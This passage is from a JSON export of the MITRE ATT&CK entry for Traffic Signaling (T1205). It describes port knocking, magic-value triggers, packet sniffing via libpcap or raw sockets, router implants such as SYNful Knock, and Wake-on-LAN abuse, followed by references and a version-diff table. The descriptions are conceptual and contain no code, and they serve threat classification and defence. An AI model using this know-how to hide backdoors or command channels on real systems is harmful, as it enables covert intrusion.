                    "description": "Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.\n\nAdversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r,(Citation: Hartrell cd00r 2002) is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\nOn network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet.  Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities.  Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks)  To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.\n\nAdversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "persistence"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "command-and-control"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1205",
                            "external_id": "T1205"
                        },
                        {
                            "source_name": "Bleeping Computer - Ryuk WoL",
                            "description": "Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021.",
                            "url": "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/"
                        },
                        {
                            "source_name": "AMD Magic Packet",
                            "description": "AMD. (1995, November 1). Magic Packet Technical White Paper. Retrieved February 17, 2021.",
                            "url": "https://www.amd.com/system/files/TechDocs/20213.pdf"
                        },
                        {
                            "source_name": "Mandiant - Synful Knock",
                            "description": "Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved November 17, 2024.",
                            "url": "https://cloud.google.com/blog/topics/threat-intelligence/synful-knock-acis/"
                        },
                        {
                            "source_name": "Cisco Synful Knock Evolution",
                            "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.",
                            "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices"
                        },
                        {
                            "source_name": "Hartrell cd00r 2002",
                            "description": "Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.",
                            "url": "https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631"
                        },
                        {
                            "source_name": "Cisco Blog Legacy Device Attacks",
                            "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
                            "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Josh Day, Gigamon",
                        "Tony Lee"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS",
                        "Network Devices",
                        "Windows"
                    ],
                    "x_mitre_version": "3.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:38:42.428000+00:00\", \"old_value\": \"2026-05-12 15:12:00.629000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.\\n\\nAdversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).\\n\\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r,(Citation: Hartrell cd00r 2002) is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\\n\\nOn network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet.  Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities.  Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks)  To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.\\n\\nAdversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet)\", \"old_value\": \"Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.\\n\\nAdversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).\\n\\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\\n\\nOn network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet.  Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities.  Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks)  To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.\\n\\nAdversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet)\", \"diff\": \"--- \\n+++ \\n@@ -2,7 +2,7 @@\\n \\n Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).\\n \\n-The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\\n+The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r,(Citation: Hartrell cd00r 2002) is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\\n \\n On network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet.  Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities.  Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks)  To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.\\n \"}}}",
                    "previous_version": "3.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to120__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to120__0\"><a href=\"#difflib_chg_to120__top\">t</a></td><td class=\"diff_header\" id=\"from120_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;use&nbsp;traffic&nbsp;signaling&nbsp;to&nbsp;hide&nbsp;open&nbsp;ports&nbsp;or&nbsp;</td><td class=\"diff_next\"><a href=\"#difflib_chg_to120__top\">t</a></td><td class=\"diff_header\" id=\"to120_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;use&nbsp;traffic&nbsp;signaling&nbsp;to&nbsp;hide&nbsp;open&nbsp;ports&nbsp;or&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">other&nbsp;malicious&nbsp;functionality&nbsp;used&nbsp;for&nbsp;persistence&nbsp;or&nbsp;comman</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">other&nbsp;malicious&nbsp;functionality&nbsp;used&nbsp;for&nbsp;persistence&nbsp;or&nbsp;comman</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;and&nbsp;control.&nbsp;Traffic&nbsp;signaling&nbsp;involves&nbsp;the&nbsp;use&nbsp;of&nbsp;a&nbsp;magic</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;and&nbsp;control.&nbsp;Traffic&nbsp;signaling&nbsp;involves&nbsp;the&nbsp;use&nbsp;of&nbsp;a&nbsp;magic</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;value&nbsp;or&nbsp;sequence&nbsp;that&nbsp;must&nbsp;be&nbsp;sent&nbsp;to&nbsp;a&nbsp;system&nbsp;to&nbsp;trigger&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;value&nbsp;or&nbsp;sequence&nbsp;that&nbsp;must&nbsp;be&nbsp;sent&nbsp;to&nbsp;a&nbsp;system&nbsp;to&nbsp;trigger&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">a&nbsp;special&nbsp;response,&nbsp;such&nbsp;as&nbsp;opening&nbsp;a&nbsp;closed&nbsp;port&nbsp;or&nbsp;executi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">a&nbsp;special&nbsp;response,&nbsp;such&nbsp;as&nbsp;opening&nbsp;a&nbsp;closed&nbsp;port&nbsp;or&nbsp;executi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;a&nbsp;malicious&nbsp;task.&nbsp;This&nbsp;may&nbsp;take&nbsp;the&nbsp;form&nbsp;of&nbsp;sending&nbsp;a&nbsp;ser</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;a&nbsp;malicious&nbsp;task.&nbsp;This&nbsp;may&nbsp;take&nbsp;the&nbsp;form&nbsp;of&nbsp;sending&nbsp;a&nbsp;ser</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ies&nbsp;of&nbsp;packets&nbsp;with&nbsp;certain&nbsp;characteristics&nbsp;before&nbsp;a&nbsp;port&nbsp;wi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ies&nbsp;of&nbsp;packets&nbsp;with&nbsp;certain&nbsp;characteristics&nbsp;before&nbsp;a&nbsp;port&nbsp;wi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ll&nbsp;be&nbsp;opened&nbsp;that&nbsp;the&nbsp;adversary&nbsp;can&nbsp;use&nbsp;for&nbsp;command&nbsp;and&nbsp;cont</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ll&nbsp;be&nbsp;opened&nbsp;that&nbsp;the&nbsp;adversary&nbsp;can&nbsp;use&nbsp;for&nbsp;command&nbsp;and&nbsp;cont</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rol.&nbsp;Usually&nbsp;this&nbsp;series&nbsp;of&nbsp;packets&nbsp;consists&nbsp;of&nbsp;attempted&nbsp;co</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rol.&nbsp;Usually&nbsp;this&nbsp;series&nbsp;of&nbsp;packets&nbsp;consists&nbsp;of&nbsp;attempted&nbsp;co</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nnections&nbsp;to&nbsp;a&nbsp;predefined&nbsp;sequence&nbsp;of&nbsp;closed&nbsp;ports&nbsp;(i.e.&nbsp;[Po</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nnections&nbsp;to&nbsp;a&nbsp;predefined&nbsp;sequence&nbsp;of&nbsp;closed&nbsp;ports&nbsp;(i.e.&nbsp;[Po</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rt&nbsp;Knocking](https://attack.mitre.org/techniques/T1205/001))</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rt&nbsp;Knocking](https://attack.mitre.org/techniques/T1205/001))</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;but&nbsp;can&nbsp;involve&nbsp;unusual&nbsp;flags,&nbsp;specific&nbsp;strings,&nbsp;or&nbsp;other&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;but&nbsp;can&nbsp;involve&nbsp;unusual&nbsp;flags,&nbsp;specific&nbsp;strings,&nbsp;or&nbsp;other&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">unique&nbsp;characteristics.&nbsp;After&nbsp;the&nbsp;sequence&nbsp;is&nbsp;completed,&nbsp;ope</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">unique&nbsp;characteristics.&nbsp;After&nbsp;the&nbsp;sequence&nbsp;is&nbsp;completed,&nbsp;ope</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ning&nbsp;a&nbsp;port&nbsp;may&nbsp;be&nbsp;accomplished&nbsp;by&nbsp;the&nbsp;host-based&nbsp;firewall,&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ning&nbsp;a&nbsp;port&nbsp;may&nbsp;be&nbsp;accomplished&nbsp;by&nbsp;the&nbsp;host-based&nbsp;firewall,&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">but&nbsp;could&nbsp;also&nbsp;be&nbsp;implemented&nbsp;by&nbsp;custom&nbsp;software.&nbsp;&nbsp;Adversari</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">but&nbsp;could&nbsp;also&nbsp;be&nbsp;implemented&nbsp;by&nbsp;custom&nbsp;software.&nbsp;&nbsp;Adversari</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es&nbsp;may&nbsp;also&nbsp;communicate&nbsp;with&nbsp;an&nbsp;already&nbsp;open&nbsp;port,&nbsp;but&nbsp;the&nbsp;s</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es&nbsp;may&nbsp;also&nbsp;communicate&nbsp;with&nbsp;an&nbsp;already&nbsp;open&nbsp;port,&nbsp;but&nbsp;the&nbsp;s</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ervice&nbsp;listening&nbsp;on&nbsp;that&nbsp;port&nbsp;will&nbsp;only&nbsp;respond&nbsp;to&nbsp;commands&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ervice&nbsp;listening&nbsp;on&nbsp;that&nbsp;port&nbsp;will&nbsp;only&nbsp;respond&nbsp;to&nbsp;commands&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">or&nbsp;trigger&nbsp;other&nbsp;malicious&nbsp;functionality&nbsp;if&nbsp;passed&nbsp;the&nbsp;appro</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">or&nbsp;trigger&nbsp;other&nbsp;malicious&nbsp;functionality&nbsp;if&nbsp;passed&nbsp;the&nbsp;appro</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">priate&nbsp;magic&nbsp;value(s).&nbsp;&nbsp;The&nbsp;observation&nbsp;of&nbsp;the&nbsp;signal&nbsp;packet</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">priate&nbsp;magic&nbsp;value(s).&nbsp;&nbsp;The&nbsp;observation&nbsp;of&nbsp;the&nbsp;signal&nbsp;packet</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;to&nbsp;trigger&nbsp;the&nbsp;communication&nbsp;can&nbsp;be&nbsp;conducted&nbsp;through&nbsp;diff</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;to&nbsp;trigger&nbsp;the&nbsp;communication&nbsp;can&nbsp;be&nbsp;conducted&nbsp;through&nbsp;diff</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">erent&nbsp;methods.&nbsp;One&nbsp;means,&nbsp;originally&nbsp;implemented&nbsp;by&nbsp;Cd00r<span class=\"diff_chg\">&nbsp;</span>(C</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">erent&nbsp;methods.&nbsp;One&nbsp;means,&nbsp;originally&nbsp;implemented&nbsp;by&nbsp;Cd00r<span class=\"diff_chg\">,</span>(C</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itation:&nbsp;Hartrell&nbsp;cd00r&nbsp;2002),&nbsp;<span class=\"diff_chg\">is&nbsp;to&nbsp;use&nbsp;the&nbsp;libpcap&nbsp;librari</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itation:&nbsp;Hartrell&nbsp;cd00r&nbsp;2002)<span class=\"diff_add\">&nbsp;is&nbsp;to&nbsp;use&nbsp;the&nbsp;libpcap&nbsp;librarie</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">es&nbsp;to&nbsp;sniff&nbsp;for&nbsp;the&nbsp;pac</span>k<span class=\"diff_chg\">ets&nbsp;in&nbsp;question.&nbsp;Another&nbsp;method&nbsp;leve</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_add\">s&nbsp;to&nbsp;sniff&nbsp;for&nbsp;the&nbsp;packets&nbsp;in&nbsp;question.&nbsp;Another&nbsp;method&nbsp;lever</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">rages&nbsp;raw&nbsp;so</span>ckets<span class=\"diff_chg\">,&nbsp;which&nbsp;enables&nbsp;the&nbsp;malware&nbsp;to&nbsp;use&nbsp;ports&nbsp;th</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_add\">ages&nbsp;raw&nbsp;sockets</span>,&nbsp;<span class=\"diff_chg\">which&nbsp;enables&nbsp;the&nbsp;malware&nbsp;to&nbsp;use&nbsp;ports&nbsp;tha</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">at&nbsp;are&nbsp;already&nbsp;open&nbsp;for&nbsp;use&nbsp;by&nbsp;other&nbsp;programs.&nbsp;&nbsp;On&nbsp;network&nbsp;d</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">t&nbsp;are&nbsp;already&nbsp;open&nbsp;for&nbsp;use&nbsp;by&nbsp;other&nbsp;programs.&nbsp;&nbsp;On&nbsp;networ</span>k<span class=\"diff_chg\">&nbsp;de</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">evices,&nbsp;adversaries&nbsp;may&nbsp;use&nbsp;crafted&nbsp;packets&nbsp;to&nbsp;enable</span>&nbsp;[Netwo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">vices,&nbsp;adversaries&nbsp;may&nbsp;use&nbsp;crafted&nbsp;pa</span>ckets<span class=\"diff_chg\">&nbsp;to&nbsp;enable</span>&nbsp;[Networ</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rk&nbsp;Device&nbsp;Authentication](https://attack.mitre.org/technique</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">k&nbsp;Device&nbsp;Authentication](https://attack.mitre.org/techniques</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s/T1556/004)&nbsp;for&nbsp;standard&nbsp;services&nbsp;offered&nbsp;by&nbsp;the&nbsp;device&nbsp;suc</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/T1556/004)&nbsp;for&nbsp;standard&nbsp;services&nbsp;offered&nbsp;by&nbsp;the&nbsp;device&nbsp;such</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">h&nbsp;as&nbsp;telnet.&nbsp;&nbsp;Such&nbsp;signaling&nbsp;may&nbsp;also&nbsp;be&nbsp;used&nbsp;to&nbsp;open&nbsp;a&nbsp;clos</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;as&nbsp;telnet.&nbsp;&nbsp;Such&nbsp;signaling&nbsp;may&nbsp;also&nbsp;be&nbsp;used&nbsp;to&nbsp;open&nbsp;a&nbsp;close</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;service&nbsp;port&nbsp;such&nbsp;as&nbsp;telnet,&nbsp;or&nbsp;to&nbsp;trigger&nbsp;module&nbsp;modific</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;service&nbsp;port&nbsp;such&nbsp;as&nbsp;telnet,&nbsp;or&nbsp;to&nbsp;trigger&nbsp;module&nbsp;modifica</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation&nbsp;of&nbsp;malware&nbsp;implants&nbsp;on&nbsp;the&nbsp;device,&nbsp;adding,&nbsp;removing,&nbsp;o</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion&nbsp;of&nbsp;malware&nbsp;implants&nbsp;on&nbsp;the&nbsp;device,&nbsp;adding,&nbsp;removing,&nbsp;or</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;changing&nbsp;malicious&nbsp;capabilities.&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;use&nbsp;craf</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;changing&nbsp;malicious&nbsp;capabilities.&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;use&nbsp;craft</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ted&nbsp;packets&nbsp;to&nbsp;attempt&nbsp;to&nbsp;connect&nbsp;to&nbsp;one&nbsp;or&nbsp;more&nbsp;(open&nbsp;or&nbsp;cl</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;packets&nbsp;to&nbsp;attempt&nbsp;to&nbsp;connect&nbsp;to&nbsp;one&nbsp;or&nbsp;more&nbsp;(open&nbsp;or&nbsp;clo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">osed)&nbsp;ports,&nbsp;but&nbsp;may&nbsp;also&nbsp;attempt&nbsp;to&nbsp;connect&nbsp;to&nbsp;a&nbsp;router&nbsp;int</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sed)&nbsp;ports,&nbsp;but&nbsp;may&nbsp;also&nbsp;attempt&nbsp;to&nbsp;connect&nbsp;to&nbsp;a&nbsp;router&nbsp;inte</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">erface,&nbsp;broadcast,&nbsp;and&nbsp;network&nbsp;address&nbsp;IP&nbsp;on&nbsp;the&nbsp;same&nbsp;port&nbsp;i</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rface,&nbsp;broadcast,&nbsp;and&nbsp;network&nbsp;address&nbsp;IP&nbsp;on&nbsp;the&nbsp;same&nbsp;port&nbsp;in</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;order&nbsp;to&nbsp;achieve&nbsp;their&nbsp;goals&nbsp;and&nbsp;objectives.(Citation:&nbsp;Cis</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;order&nbsp;to&nbsp;achieve&nbsp;their&nbsp;goals&nbsp;and&nbsp;objectives.(Citation:&nbsp;Cisc</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">co&nbsp;Synful&nbsp;Knock&nbsp;Evolution)(Citation:&nbsp;Mandiant&nbsp;-&nbsp;Synful&nbsp;Knock</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;Synful&nbsp;Knock&nbsp;Evolution)(Citation:&nbsp;Mandiant&nbsp;-&nbsp;Synful&nbsp;Knock)</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">)(Citation:&nbsp;Cisco&nbsp;Blog&nbsp;Legacy&nbsp;Device&nbsp;Attacks)&nbsp;&nbsp;To&nbsp;enable&nbsp;thi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 